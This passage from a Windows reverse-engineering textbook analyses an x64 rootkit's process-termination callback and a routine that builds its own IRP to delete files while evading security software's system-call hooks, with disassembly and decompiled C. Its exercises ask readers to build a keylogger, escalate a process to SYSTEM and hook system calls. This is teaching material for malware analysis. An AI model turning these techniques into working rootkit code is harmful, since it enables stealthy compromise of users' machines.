 ■ Why does the author think the IRQL needs to be raised to DISPATCH_LEVEL? 

Is it really necessary?

 ■ How can a normal user use this driver to execute arbitrary code in ring 

0 context?

 ■ Suppose the author wanted to replace some system calls with a custom 

implementation in user space. What problems might be encountered?

This driver is very small and simple, but it has most of the important con-

structs typically found in software drivers: dispatch routines, device I/O control 

from user mode, buffering methods, symbolic links, raising and lowering IRQL 

levels, MDL management, IO_STACK_LOCATIONs, and so on. You can apply the 

same analytical techniques shown here to other drivers. Just don’t imitate its 

development techniques in real life.
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An x64 Rootkit

This section analyzes Sample B, an x64 driver. Because it is quite large and com-

plex, we will focus only on areas related to callbacks. We will not paste every 

line of this function, so you will need to follow it in a disassembler.

Note that this driver specifi es process creation and image load notifi cations 

using the documented APIs. 0x4045F8 is the start of the process creation call-

back routine. First, it clears a LARGE_INTEGER structure to zero. A LARGE_INTEGER 

structure is typically used to represent fi le size or time (note that it is later 

used at 0x4046FF as an argument to KeDelayExecutionThread). Next, it gets 

the current process id with PsGetCurrentProcessId. Does this get the process 

id of the newly created process? Not necessarily. The process creation callback 

prototype is as follows:

VOID
(*PCREATE_PROCESS_NOTIFY_ROUTINE) (
    IN HANDLE  ParentId,
    IN HANDLE  ProcessId, // processId of the created/terminated proc
    IN BOOLEAN  Create // TRUE=creation FALSE=termination
    );

The Creation parameter is saved and tested at 0x404604 and 0x404631, respec-

tively; if it is TRUE, then the callback simply returns. Hence, we know that this 

callback tracks only process termination. In the case of process termination, 

the callback executes in the context of the dying process. After gathering the 

terminating process id (which is not used at all), it retrieves the EPROCESS object 

for the current process through IoGetCurrentProcess (0x40461C and 0x404622). 

It is not clear why IoGetCurrentProcess is called twice (it could be a typo in the 

original source code). Next, it retrieves and saves the process image fi lename 

string through PsGetProcessImageFileName (0x404633). While this routine 

is not documented, it is simple, exported, and frequently used by the kernel. 

Then it tries to acquire a resource lock previously initialized in DriverEntry 

(0x4025EB); it enters a critical region before acquiring a resource lock because 

KeAcquireResourceExclusiveLite requires normal kernel APCs to be disabled 

(which is what KeEnterCriticalRegion does). Next, it gets a pointer to a linked 

list and checks the terminating process image name against each entry in the 

list (offset 0x20). You know that this is a linked list because the loop iterates by 

pointers (0x404679) and terminates when two pointers are the same (0x40465F). 

If there is no match, it releases the resource lock and pauses the current thread 

(0x4046FF) one second from the current time. If the terminating process fi lename 

matches one of those in the list, then it unmaps, unlocks, and frees an MDL 

stored in the list entry (offset 0x1070). If the buffer at offset 0x10b0 in the list 

entry is NULL, then it is freed; otherwise, the entry is freed from the list by the 

RemoveEntryList macro:
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01: .text:00000000004046CA loc_4046CA:
02: .text:00000000004046CA   mov     rax, [rbx+8]
03: .text:00000000004046CE   mov     r8, [rbx]
04: .text:00000000004046D1   mov     edx, edi      ; Tag
05: .text:00000000004046D3   mov     [rax], r8
06: .text:00000000004046D6   mov     rcx, rbx      ; P
07: .text:00000000004046D9   mov     [r8+8], rax
08: .text:00000000004046DD   call    cs:ExFreePoolWithTag

Again, we can recognize the list operation because of the Flink (offset 0x0) and 

Blink (offset 0x8) manipulation pattern. In fact, we can now say that qword_40A590 

is of type LIST_ENTRY.

Even though this callback is only one piece of the puzzle, you can apply the 

previous facts to indirectly understand other components of the rootkit. For 

example, you can tell that the rootkit either maps or injects code into processes 

and tracks them in a large linked list (using process name as the key). When the 

process dies, they have to unmap those MDLs because the system will bugcheck 

if a dead process still has locked pages. The original MDL mappings were most 

likely done through the image load callback routine (0x406494).

Another interesting routine in this fi le is 0x4038F0. We will do a line-by-line 

analysis of this routine because it uses constructs that you will frequently see 

in other drivers. Furthermore, it teaches some valuable lessons about analyzing 

optimized x64 code:

01: ; NTSTATUS __cdecl sub_4038F0(PFILE_OBJECT FileObject, \

                              HANDLE Handle, BOOLEAN flag)

02: sub_4038F0 proc near

03:   push    rbx

04:   push    rbp

05:   push    rsi

06:   push    rdi

07:   push    r12

08:   sub     rsp, 60h

09:   mov     bpl, r8b

10:   mov     r12, rdx

11:   mov     rdi, rcx

12:   call    cs:IoGetRelatedDeviceObject

13:   mov     [rsp+88h+arg_18], 1

14:   xor     edx, edx       ; ChargeQuota

15:   mov     cl, [rax+4Ch]  ; StackSize

16:   mov     rsi, rax

17:   call    cs:IoAllocateIrp

18:   test    rax, rax

19:   mov     rbx, rax

20:   jnz     short loc_403932

21:   mov     eax, 0C0000017h

22:   jmp     loc_403A0C

23: loc_403932:        

24:   lea     rax, [rsp+88h+arg_18]

25:   xor     r8d, r8d       ; State
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26:   lea     rcx, [rsp+88h+Event] ; Event

27:   mov     [rbx+18h], rax ; IRP.AssociatedIrp.SystemBuffer

28:   lea     rax, [rsp+88h+Event]

29:   lea     edx, [r8+1]    ; Type

30:   mov     [rbx+50h], rax ; IRP.UserEvent

31:   lea     rax, [rsp+88h+var_58]

32:   mov     [rbx+48h], rax ; IRP.UserIosb

33:   mov     rax, gs:+188h  ; KPCR.Prcb.CurrentThread

34:   mov     [rbx+0C0h], rdi ; IRP.Tail.Overlay.OriginalFileObject

35:   mov     [rbx+98h], rax ; IRP.Tail.Overlay.Thread

36:   mov     byte ptr [rbx+40h], 0 ; IRP.RequestorMode

37:   call    cs:KeInitializeEvent

38:   test    bpl, bpl

39:   mov     rcx, [rbx+0B8h]

40:   mov     byte ptr [rcx-48h], 6 ; IRP_MJ_SET_INFORMATION

41:   mov     [rcx-20h], rsi ; IO_STACK_LOCATION.DeviceObject

42:   mov     [rcx-18h], rdi ; IO_STACK_LOCATION.FileObject

43:   jz      short loc_4039A6

44:   mov     rax, [rdi+28h] ; FILE_OBJECT.SectionObjectPointer

45:   test    rax, rax

46:   jz      short loc_4039A6

47:   mov     [rax+10h], 0 ; SECTION_OBJECT_POINTERS.ImageSectionObject

48: loc_4039A6:

49:   mov     [rcx-28h], r12 

              ; IO_STACK_LOCATION.Parameters.SetFile.DeleteHandle

50:   mov     [rcx-30h], rdi

              ; IO_STACK_LOCATION.Parameters.SetFile.FileObject

51:   mov     dword ptr [rcx-38h], 0Dh ; FileDispositionInformation

              ; IO_STACK_LOCATION.Parameters.SetFile.FileInformationClass

52:   mov     dword ptr [rcx-40h], 1

              ; IO_STACK_LOCATION.Parameters.SetFile.Length

53:   mov     rax, [rbx+0B8h] ; CurrentIrpStackLocation

54:   lea     rcx, sub_4038B4 ; completionroutine

55:   mov     [rax-10h], rcx  ; IO_STACK_LOCATION.CompletionRoutine

56:   mov     rcx, rsi       ; DeviceObject

57:   mov     rdx, rbx       ; Irp

58:   mov     qword ptr [rax-8], 0 

59:   mov     byte ptr [rax-45h], 0E0h ; flag

60:   call    cs:IofCallDriver

61:   cmp     eax, 103h ; STATUS_PENDING

62:   jnz     short loc_403A09

63:   lea     rcx, [rsp+88h+Event] ; Object

64:   mov     r9b, 1         ; Alertable

65:   xor     r8d, r8d       ; WaitMode

66:   xor     edx, edx       ; WaitReason

67:   mov     [rsp+88h+var_68], 0

68:   call    cs:KeWaitForSingleObject

69: loc_403A09:      

70:   mov     eax, [rbx+30h] ; IRP.IoStatus.Status

71: loc_403A0C:      

72:   add     rsp, 60h

73:   pop     r12

74:   pop     rdi
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75:   pop     rsi

76:   pop     rbp

77:   pop     rbx

78:   retn

79: sub_4038F0 endp

First, we recover the function prototype by noting that the function’s caller 

uses three registers: RCX, RDX, R8 (see 0x404AC8 to 0x404ADB). Even though the 

disassembler marks CDECL as the function’s calling convention, it is not really 

correct. Recall that Windows on the x64 platform only uses one calling con-

vention which specifi es that the fi rst four arguments are passed via regis-

ters (RCX, RDX, R8, and R9) and the rest are pushed on the stack. Line 12 calls 

IoGetRelatedDeviceObject using FileObject as the parameter; this API returns 

the device object associated with the fi le object. The associated device object is 

saved in RSI. Lines 14–17 allocate an IRP from scratch with IoAllocateIrp; the 

device object’s StackSize fi eld is used as the new IRP’s IO_STACK_LOCATION size. 

If the IRP allocation somehow fails, the routine returns STATUS_NO_MEMORY (lines 

20–22). Otherwise, the new IRP is saved in RBX (line 19) and we continue to 

line 24. Lines 24–37 initialize basic fi elds of an IRP and call KeInitializeEvent. 

Line 33 may look strange because of the GS:188h parameter. Recall that on x64 

Windows, the kernel stores a pointer to the PCR in GS, which contains the PRCB 

that stores scheduling information. In fact, this routine is simply the inlined 

form of KeGetCurrentThread. Line 39 accesses a fi eld at offset 0xb8 in the IRP 

structure. What is this fi eld?

0: kd> dt nt!_IRP Tail.Overlay.
   +0x078 Tail          :
      +0x000 Overlay       :
         +0x000 DeviceQueueEntry : _KDEVICE_QUEUE_ENTRY
         +0x000 DriverContext : [4] Ptr64 Void
         +0x020 Thread        : Ptr64 _ETHREAD
         +0x028 AuxiliaryBuffer : Ptr64 Char
         +0x030 ListEntry     : _LIST_ENTRY
         +0x040 CurrentStackLocation : Ptr64 _IO_STACK_LOCATION
         +0x040 PacketType    : Uint4B
         +0x048 OriginalFileObject : Ptr64 _FILE_OBJECT

It is accessing the CurrentStackLocation pointer in the Overlay union. Does 

this sound familiar? Line 39 is actually just IoGetCurrentIrpStackLocation. 

Lines 40–42 set some fi elds using negative offsets from the current stack loca-

tion. Recall that the dynamic part of an IRP is an array of IO_STACK_LOCATION 

structures and the “next” stack location is actually the element above the current 

one. Review this structure and its size:

0: kd> sizeof(_IO_STACK_LOCATION)
unsigned int64 0x48
0: kd> dt _IO_STACK_LOCATION
nt!_IO_STACK_LOCATION
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   +0x000 MajorFunction    : UChar
   +0x001 MinorFunction    : UChar
   +0x002 Flags            : UChar
   +0x003 Control          : UChar
   +0x008 Parameters       : <unnamed-tag>
   +0x028 DeviceObject     : Ptr64 _DEVICE_OBJECT
   +0x030 FileObject       : Ptr64 _FILE_OBJECT
   +0x038 CompletionRoutine : Ptr64     long
   +0x040 Context          : Ptr64 Void

The size of an IRP on x64 Windows is 0x48. Hence, line 40 must be access-

ing the “next” IO_STACK_LOCATION because it is subtracting 0x48 bytes from 

the current location; it is setting the MajorFunction fi eld to 0x6 (IRP_MJ_

SET_INFORMATION). This tells you that the parameters for this request will be 

described using the SetFile union member. Line 41 accesses the “next” IRP 

with negative offsets 0x20 and 0x18, which corresponds to the DeviceObject 

and FileObject fi elds, respectively. What is happening here is that the devel-

oper used IoGetNextIrpStackLocation and then fi lled out the fi eld, and the 

aggressive Microsoft x64 compiler optimized the code that way. The optimizer 

decided that because we are operating on an array of structures, it is cheaper 

(in terms of space) to directly access the previous element using negative offsets; 

the alternative would have been to calculate a new base pointer for the previ-

ous element and access its fi elds using positive offsets. You will run into this 

optimization quite often in x64 binaries.

Line 43 tests a fl ag to determine whether additional checks should be performed 

for section objects. Lines 44–47 set the ImageSectionObject fi eld accordingly. 

Lines 48–52 initialize various fi elds in the “next” IRP stack location using nega-

tive offsets again. These offsets are inside the Parameters union; as we already 

know the IRP major function (IRP_MJ_SET_INFORMATION), we know that it will 

use the SetFile union member:

1: kd> dt nt!_IO_STACK_LOCATION Parameters.SetFile.
   +0x008 Parameters          :
      +0x000 SetFile             :
         +0x000 Length              : Uint4B
         +0x008 FileInformationClass : _FILE_INFORMATION_CLASS
         +0x010 FileObject          : Ptr64 _FILE_OBJECT
         +0x018 ReplaceIfExists     : UChar
         +0x019 AdvanceOnly         : UChar
         +0x018 ClusterCount        : Uint4B
         +0x018 DeleteHandle        : Ptr64 Void

After calculating the offsets, we know that line 49 sets the DeleteHandle fi eld 

with the second parameter, line 50 sets the FileObject fi eld, line 51 sets the 

FileInformationClass fi eld (0xD is FileDispositionInformation), and line 52 

sets the Length fi eld. The documentation for the FileDispositionInformation 

class says that it will take a structure with a one-byte fi eld; if it is 1, then the fi le 
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handle is marked for deletion. Hence, we now know why lines 13 and 27 set 

the IRP.AssociatedIrp.SystemBuffer to 1. Lines 53–55 set sub_4038B4 as this 

IRP’s completion routine. Line 60 passes the newly fi lled IRP to another driver 

(taken from line 16) for processing (most likely the fi le system driver). Line 61 

checks status with STATUS_PENDING to see if the operation is done; if yes, the 

IRP’s status is returned in EAX; if not, KeWaitForSingleObject is called to wait 

on the event initialized in line 37. The completion routine will set the event and 

free the IRP when it’s done:

01: sub_4038B4 proc near
02:   push    rbx
03:   sub     rsp, 20h
04:   movdqu  xmm0, xmmword ptr [rdx+30h]
05:   mov     rax, [rdx+48h]
06:   mov     rbx, rdx
07:   xor     r8d, r8d       ; Wait
08:   xor     edx, edx       ; Increment
09:   movdqu  xmmword ptr [rax], xmm0
10:   mov     rcx, [rbx+50h] ; Event
11:   call    cs:KeSetEvent
12:   mov     rcx, rbx       ; Irp
13:   call    cs:IoFreeIrp
14:   mov     eax, 0C0000016h
15:   add     rsp, 20h
16:   pop     rbx
17:   retn
18: sub_4038B4 endp

The entire routine can be decompiled as follows:

NTSTATUS sub_4038F0(PFILE_OBJECT FileObj, HANDLE hdelete, BOOLEAN flag)
{
  NTSTATUS status;
  PIO_STACK_LOCATION iosl;
  PIRP Irp;
  PDEVICE_OBJECT devobj;
  KEVENT event;
  IO_STATUS_BLOCK iosb;
  CHAR buf = 1;

  devobj = IoGetRelatedDeviceObject(FileObj);
  Irp = IoAllocateIrp(devobj->StackSize, FALSE);
  if (Irp == NULL) { return STATUS_NO_MEMORY; }
  Irp->AssociatedIrp.SystemBuffer = &buf;
  Irp->UserEvent = &event;
  Irp->UserIosb = &iosb;
  Irp->Tail.Overlay.Thread = KeGetCurrentThread();
  Irp->Tail.Overlay.OriginalFileObject = FileObj;
  Irp->RequestorMode = KernelMode;
  KeInitializeEvent(&event, SynchronizationEvent, FALSE);
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  iosl = IoGetNextIrpStackLocation(Irp);
  iosl->DeviceObject = devobj;
  iosl->FileObject = FileObj;
  if (!flag && FileObj->SectionObjectPointer != NULL) {
    FileObj->SectionObjectPointer.ImageSectionObject = NULL;
  }
  iosl->Parameters.SetFile.FileObject = FileObj;
  iosl->Parameters.SetFile.DeleteHandle = hdelete;
  iosl->Parameters.SetFile.FileInformationClass = \ 
                                    FileDispositionInformation;
  iosl->Parameters.SetFile.Length = 1;
  IoSkipCurrentIrpStackLocation(Irp);
  IoSetCompletionRoutine(Irp, sub_4038B4, NULL, TRUE, TRUE, TRUE);
  if (IoCallDriver(devobj, Irp) == STATUS_PENDING) {
    KeWaitForSingleObject(&event, Executive, KernelMode, TRUE, NULL);
  }
  return Irp->IoStatus.Status;
}

Now you can see that the driver uses this function to delete a fi le from the 

system without using the fi le deletion API (ZwDeleteFile). It achieves this by 

crafting its own IRP to describe the fi le deletion operation and passes it down 

to a lower driver (presumably the fi le system). Also, it uses a completion rou-

tine to be notifi ed when the IRP is complete (either success, failed, or somehow 

cancelled). While somewhat esoteric, this method is very useful because it can 

bypass security software that tries to detect fi le deletion through system call 

hooking.

This walk-through demonstrated two main points. First, if you know and 

understand the objects and mechanisms drivers used to interact with the kernel, 

your analytical task becomes easier. Second, you must be prepared to deal with 

code that seems strange due to an aggressive optimizer. This is especially true 

for x64 code. The only way to improve is to practice.

Next Steps

We have covered most of the important domain-specifi c concepts relevant to 

kernel-mode code in Windows. This knowledge can be immediately applied to 

driver reverse engineering tasks. To be more effective, however, it is instructive 

to understand what normal drivers look like in source form. The best way to 

learn that is to study driver samples included in the WDK and/or develop your 

own drivers. While they are not rootkits, they demonstrate the proper structure 

and constructs used by drivers.



 Chapter 3 ■ The Windows Kernel 179

c03.indd 09:39:18:AM  07/13/2016 Page 179

Where do you go from here? Our advice is as follows (in order):

 ■ Read the WDK manual thoroughly. You can start with the “Kernel-Mode 

Driver Architecture” section. It is confusing at fi rst, but if you read this 

chapter it will be much easier because we bypassed all the non-essential 

topics.

 ■ Read Windows NT Device Driver Development by Peter G. Viscarola and W. 

Anthony Mason from cover to cover (you can skip the chapter on DMA 

and programmed I/O).

 ■ Write a few small, simple drivers. Then analyze them in a disassembler 

without looking at the source code. Be sure you do this for both x86 and x64.

 ■ Review the Recon 2011 presentation Decompiling kernel drivers and IDA 

plugins, by Bruce Dang and Rolf Rolles.

 ■ Read the Microsoft debugger documentation for useful kernel extensions 

(e.g., !process, !thread, !pcr, !devobj, !drvobj, etc.)

 ■ Read all articles published in The NT Insider and kernel-related articles in 

Uninformed. The former is probably the most useful resource for Windows 

kernel driver development in general. The latter is more geared toward 

security enthusiasts.

 ■ Do all the exercises at the end of this chapter. All of them. Some may 

take a substantial amount of time because you will need to read up on 

undocumented areas not covered in the book. Reading and exploring are 

steps in the learning process.

 ■ Open the Windows kernel binary in a disassembler and try to understand 

how some of the common APIs work.

 ■ Read the http://kernel-mode.info forums.

 ■ Analyze as many rootkits as you can. While analyzing, think about why 

and how the rootkit author chose to use certain objects/mechanisms and 

assess whether they are appropriate.

 ■ Find and read open-source Windows drivers.

 ■ After you think you have a good understanding of the basic concepts, 

you can explore other areas of the kernel such as the network and stor-

age stacks. These are two highly complex areas so you will need a lot of 

time and patience.

 ■ Subscribe to the NTDEV and NTFSD mailing lists to read about other 

developers’ problems and how they solved them.

Keep reading, practicing, and learning! There is a steep learning curve, but 

once you pass that, it is smooth sailing. Remember: Without failure, it is diffi cult 

to appreciate success. Happy bugchecking.

http://kernel-mode.info
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Exercises

We believe that the best way to learn is through a combination of concept dis-

cussion, hands-on tutorials, and independent exercises. The fi rst two items have 

been covered in the previous sections. The following independent exercises 

have been designed to help you build confi dence, solidify your understand-

ing of Windows kernel concepts, explore and extend knowledge into areas not 

covered in the book, and continue to analyze real-world drivers. As with other 

chapters, all exercises are taken from real-world scenarios. We reference fi les as 

(Sample A, B, C, etc.). The SHA1 hash for each sample is listed in the Appendix.

Building Confi dence and Solidifying Your Knowledge

Each of these exercises can usually be answered within 30 minutes. Some may 

require additional reading/thinking, so they might take longer.

 1. Explain why code running at DISPATCH_LEVEL cannot take a page fault. 

There can be multiple explanations for this. You should be able to come 

up with at least two.

 2. Suppose you read an article on the Internet about the Windows kernel 

and it claims that kernel-mode threads always have higher priority than 

user-mode threads; hence, if you write everything in kernel mode, it will 

be faster. Assess the validity of this claim using your knowledge of IRQL, 

thread dispatching, and thread priority.

 3. Write a driver for Windows 7/8 that prints out the base address of every 

newly loaded image. Repeat the same for processes and threads. This 

driver does not need to set up any IRP handler because it does not need 

to process requests from users or other drivers.

 4. Explain the security implications of using METHOD_NEITHER and what driver 

developers do to mitigate them.

 5. Given a kernel-mode virtual address, manually convert it to a physi-

cal address. Verify your answer using the !vtop extension in the kernel 

debugger.

 6. Develop a driver that uses all the list operations and identify all the inlined 

list routines in assembly form. Is there a generic pattern for each routine? 

If so, explain them. If not, explain why.

 7. You learned about linked lists, but the kernel also supports hash tables, 

search trees, and bitmaps. Investigate their usage and develop a driver 

using all of them.

 8. Explain how the FIELD_OFFSET macro works.
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 9. The exported function ExGetCurrentProcessorCpuUsage is undocumented, 

but a documented NDIS API NdisGetCurrentProcessorCpuUsage uses it 

internally. Explain how ExGetCurrentProcessorCpuUsage works on x64 

and x86 Windows.

 10. Explain how KeGetCurrentIrql works on x86 and x64.

 11. Explain how the following APIs work in Windows 7/8 on x86/x64/ARM:

 ■ IoThreadToProcess

 ■ PsGetThreadProcessId

 ■ PsIsSystemThread

 ■ PsGetCurrentThreadId

 ■ PsGetCurrentThreadPreviousMode

 ■ PsGetCurrentThreadProcess

 ■ PsGetCurrentThreadStackBase

 ■ PsGetCurrentThreadWin32Thread

 ■ PsGetThreadId

 ■ PsGetThreadSessionId

 ■ PsIsSystemProcess

 ■ PsGetProcessImageFileName

 12. The PCR, PRCB, EPROCESS, KPROCESS, ETHREAD, and KTHREAD structures store 

a lot of useful information. Unfortunately, all of them are opaque struc-

tures and can change from one version of Windows to the next. Hence, 

many rootkits hardcode offsets into these structures. Investigate these 

structures on Windows XP, 2003, Vista, and 7 and note the differences. 

Can you devise ways to generically get the offsets of some useful fi elds 

without hardcoding? If so, can you do it such that it will work on all the 

listed platforms? (Hint: You can use a disassembler, pattern matching and 

relative distance.)

 13. The MmGetPhysicalAddress API takes a virtual address and returns the 

physical address for it. Sometimes the returned physical address contains 

junk data. Explain why this may happen and how to mitigate it.

 14. Set up test-signing on your 32- and 64-bit machines and test-sign your 

driver. Validate that it works.

 15. Explain how AuxKlibGetImageExportDirectory works. After that, explain 

how RtlImageNtHeader and RtlImageDirectoryEntryToData work.

 16. Suppose you want to track the life and death of processes. What data 

structure would you use and what are some properties you can use to 

uniquely identify a process?
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 17. Where is the page directory table (CR3 in x86 and TTBR in ARM) stored in 

a process?

Investigating and Extending Your Knowledge

These exercises require that you to do more background research. You may 

need to develop drivers using undocumented APIs or access undocumented 

structures. You should use the knowledge from the experiments only for good.

 1. Many modern operating systems support a feature called Data Execution 

Prevent (DEP). Sometimes it is called Never Execute (NX) or Execute Never 

(XN). This feature simply blocks code execution in memory pages that 

are not marked executable. Investigate how this feature is implemented 

in hardware (x86, x64, and ARM) and how the operating system supports 

it. After that, investigate how this feature would be implemented without 

any hardware support.

 2. Although we covered the basic idea behind APCs, we did not explain how 

to use them. Investigate the (undocumented) APIs related to kernel-mode 

APCs and how they are used. Write a driver that uses them.

 3. Devise and implement at least two methods to execute a user-mode process 

from a kernel-mode driver. Assess the advantages and disadvantages of 

each method.

 4. Suppose that you are on an SMP system with four processors and you 

want to modify a shared global resource. The global resource is in non-

paged pool and it can be modifi ed at any time by any processor. Devise a 

synchronization mechanism to safely modify this resource. (Hint: Think 

about IRQL and the thread dispatcher.)

 5. Write a driver that blocks all future drivers with the name “bda.sys” from 

loading.

 6. Investigate how the Windows input stack works and implement a key-

board logger. The keylogger can be implemented in several different ways 

(with and without hooking). Assess the advantages and disadvantages 

of each keylogging method. Is it possible to get the application receiving 

the keystrokes?

 7. Implement a function that takes a virtual address and change its page 

protection to readable, writable, and executable. Repeat the same task for 

a virtual address that is in session space (e.g., win32k.sys).

 8. We explained that DriverEntry is the fi rst function to be called in a driver. 

Explain which function actually calls this routine. How did you fi gure it 

out?
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 9. The Microsoft kernel debugger provides a mechanism that breaks into 

the debugger when a driver is loaded. This is done through the "sxe 

ld:drivername" command. Build a simple driver and experiment with 

this command. Explain how it works. Enumerate all the different ways 

that it may fail.

 10. User-mode debuggers can easily “freeze” threads in a process; however, 

the kernel debugger does not have a facility to do so. Devise a way to 

freeze and unfreeze a user-mode thread from the kernel.

 11. Periodic timers are used by drivers to execute something on a regular 

basis. Develop a driver that will print a “hello” every 10 minutes. Then 

devise a way to modify the timer expiration after it has been queued. You 

can use a debugger to do this.

 12. Implement a driver that installs its own interrupt handler and validate 

that it is triggerable from user mode. On x64 Windows, you will run into 

PatchGuard so be sure to test it only in debug mode.

 13. Process privileges are defi ned using tokens. The highest privilege is 

LocalSystem (the SYSTEM process runs in this context). Develop a driver 

that changes a running process privilege such that it runs with LocalSystem 

privilege.

 14. Windows Vista and higher support cryptographic operations in kernel 

mode through the KSECDD driver. While it is not documented in the offi -

cial WDK, it is on MSDN under the user-mode bcrypt library. Develop a 

driver that uses AES, RSA, MD5, SHA1, and a random number generator.

 15. Develop a driver that enumerates the address and name of all exported 

symbols in NTDLL, KERNEL32, and KERNELBASE. Repeat the same for 

USER32 and GDI32. Did you run into any diffi culties? If so, how did you 

fi x them?

 16. Develop a driver that hooks an exported function in NTDLL in the 

"explorer.exe" process. Assess the merit of your method. Investigate 

and evaluate other methods.

 17. Develop a driver that attaches to the SMSS.EXE process and patch a win32k 

system call while in that process context. Explain the problems you encoun-

tered and how you solved them.

 18. Suppose someone tells you that user-mode exceptions do not ever go into 

the kernel. Research how user-mode exception handling works in x86 and 

x64 Windows and assess the aforementioned claim.

 19. Suppose you have a malicious driver on the system that hooks INT 1 and 

INT 3 to make debugging/tracing more diffi cult. Devise a way to get an 
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execution trace (or debug code) even with these hooks in place. You have 

no restrictions. What are some of the corner cases that you must handle?

 20. The instruction INT 3 can be represented in two forms. The one-byte ver-

sion, 0xCC, is the most common. The less common two-byte form is 0xCD03. 

Explain what happens when you use the two-byte form in Windows.

Analysis of Real-Life Drivers

These exercises are meant for you to practice your analytical skills on a real 

driver. We provide the fi le hashes and ask you questions about them. Most (if 

not all) questions can be answered through static analysis, but you are welcome 

to run the sample if needed.

 1. (Sample D) Analyze and explain what the function 0x10001277 does. 

Where does the second argument come from and can it ever be invalid? 

What do the functions at offset 0x100012B0 and 0x100012BC do?

 2. (Sample E) This fi le is fairly large and complex; some of its structures are 

massive (nearly 4,000 bytes in size). However, it does contain functions 

performing interesting tasks that were covered in the chapter, so several 

of the exercises are taken from it. For this exercise, recover the prototype 

for the functions 0x40400D, 0x403ECC, 0x403FAD, 0x403F48, 0x404088, 

0x4057B8, 0x404102, and 0x405C7C, and explain the differences and rela-

tionships between them (if any); explain how you arrived at the solution. 

Next, explain the signifi cance of the 0x30-byte non-paged pool allocation in 

functions 0x403F48, 0x403ECC, and 0x403FA; while you’re at it, recover its 

type as well. Also, explain why in some of the previous routines there is a 

pool freeing operation at the beginning. These routines use undocumented 

functions, so you may need to search the Internet for the prototype.

 3. (Sample E) In DriverEntry, identify all the system worker threads. At offset 

0x402C12, a system thread is created to do something mundane using an 

interesting technique. Analyze and explain the goal of function 0x405775 

and all functions called by it. In particular, explain the mechanism used in 

function 0x403D65. When you understand the mechanism, write a driver 

to do the same trick (but applied to a different I/O request). Complete the 

exercise by decompiling all four routines. This exercise is very instructive 

and you will benefi t greatly from it.

 4. (Sample E) The function 0x402CEC takes the device object associated with 

\Device\Disk\DR0 as one of its parameters and sends a request to it using 

IoBuildDeviceIoControlRequest. This device object describes the fi rst 

partition of your boot drive. Decode the IOCTL it uses and fi nd the mean-

ingful name for it. (Hint: Search all the included fi les in the WDK, includ-

ing user-mode fi les.) Identify the structure associated with this request. 
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Next, beautify the IDA output such that each local variable has a type and 

meaningful name. Finally, decompile the routine back to C and explain 

what it does (perhaps even write another driver that uses this method).

 5. (Sample E) Decompile the function 0x401031 and give it a meaningful 

name. Unless you are familiar with how SCSI works, it is recommended 

that you read the SCSI Commands Reference Manual.

 6. (Sample F) Explain what the function 0x100051D2 does and why. What’s 

so special about offset 0x38  in the device extension structure? Recover as 

many types as possible and decompile this routine. Finally, identify all 

the timers, DPCs, and work items used by the driver. 
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Debuggers are programs that leverage support from the processor and operat-

ing system to enable tracing of other programs so that one can discover bugs 

or simply understand the logic of the debugged program. Debuggers are an 

essential tool for reverse engineers because, unlike disassemblers, they allow 

runtime inspection of the program’s state.

The purpose of this chapter is to familiarize you with the free debugging 

tools from Microsoft. It is not intended to teach you debugging techniques or 

how to troubleshoot memory leaks, deadlocks, and so forth. Instead, it focuses 

on the most important commands and automation/scripting facilities, and 

how to write debugger extensions for the sole purpose of aiding you in reverse 

engineering tasks.

The chapter covers the following topics:

 ■ The debugging tools and basic commands—This section covers the basics 

of debugging, various commands, expression evaluations and operators, 

process and thread-related commands, and memory manipulation.

C H A P T E R 

4

Debugging and Automation
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 ■ Scripting—The scripting language of the debugger engine is not very 

user friendly. This section explains the language in a structured and easy 

to follow manner, with various examples and a set of scripts to illustrate 

each topic. After reading this section, you will start leveraging the power 

of scripting in the debugger.

 ■ Using the SDK—When scripts are not enough, you can always write 

extensions in C or C++. This section outlines the basics of extension writ-

ing in C/C++.

The Debugging Tools and Basic Commands

The Debugging Tools for Windows package is a set of debugging utilities that 

you can download for free from Microsoft’s website. The toolset ships with four 

debuggers that are all based on the same debugger engine (DbgEng).

The DbgEng is a COM object that enables other programs to use advanced 

debugging APIs rather than just the plain Windows Debugging APIs. In fact, 

the Debugging Tools package comes with an SDK that illustrates how to write 

extensions for the DbgEng or host it in your own programs.

The Debugging Tools for Windows package includes the following debuggers:

 ■ NTSD/CDB—Microsoft NT Symbolic Debugger (NTSD) and Microsoft 

Console Debugger (CDB) are both identical except that the former cre-

ates a new console window when started, whereas the latter inherits the 

console window that was used to launch it.

 ■ WinDbg—This a graphical interface for the DbgEng. It supports source-

level debugging and saving workspaces.

 ■ KD—Kernel Debugger (KD) is used to debug the kernel.

The debuggers have a rich set of command-line switches. One particularly 

useful switch is –z, which is used to analyze crash dumps (*.dmp), cab fi les 

(*.cab) containing a crash dump fi le. Another use of the -z switch is to analyze 

PE fi les (executables or DLLs) by having the DbgEng map them as though they 

were in a crash dump.

The following example runs the cdb debugger with the -z switch in order to 

map calc.exe in the debugger:

C:\>cdb -z c:\windows\syswow64\calc.exe

 

Microsoft (R) Windows Debugger Version 6.13.0009.1140 X86

Copyright (c) Microsoft Corporation. All rights reserved.

 

Loading Dump File [c:\windows\syswow64\calc.exe]

Symbol search path is: SRV*C:\cache*http://msdl.microsoft.com/download/

symbols

http://msdl.microsoft.com/download
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Executable search path is:

ModLoad: 00400000 004c7000   c:\windows\syswow64\calc.exe

eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00000000

eip=0041a592 esp=00000000 ebp=00000000 iopl=0         nv up di pl nz na po nc

cs=0000  ss=0000  ds=0000  es=0000  fs=0000  gs=0000             efl=00000000

calc!WinMainCRTStartup:

0041a592 e84bf0ffff      call    calc!__security_init_cookie (004195e2)

0:000>

Please note two things:

 ■ Calc.exe was mapped into the debugger, and EIP points to its entry point 

(unlike live targets, which point inside ntdll.dll).

 ■ Many debugger commands won’t be present, especially the process control 

commands (because the program is mapped for analysis/inspection, not 

for dynamic tracing/debugging).

Using the -z switch, you can write powerful scripts to analyze programs and 

extract information.

N O T E  You can confi gure WinDbg to act as the just-in-time (JIT) debugger (for the 

purposes of postmortem debugging) by running Windbg.exe -I once as a privi-

leged user.

The following sections explain various debugger commands, providing 

examples along the way.

Setting the Symbol Path

Before launching any of the debuggers (WinDbg, CDB, NTSD, or KD), let’s set 

up the _NT_SYMBOL_PATH environment variable:

_NT_SYMBOL_PATH=SRV*c:\ cache*http://msdl.microsoft.com/download/symbols

You can also set that up from inside the debugger using the .sympath command:

N O T E  Setting the symbol path is important so that you can inspect some basic OS 

structures as you debug the programs in question. For instance, the !peb extension 

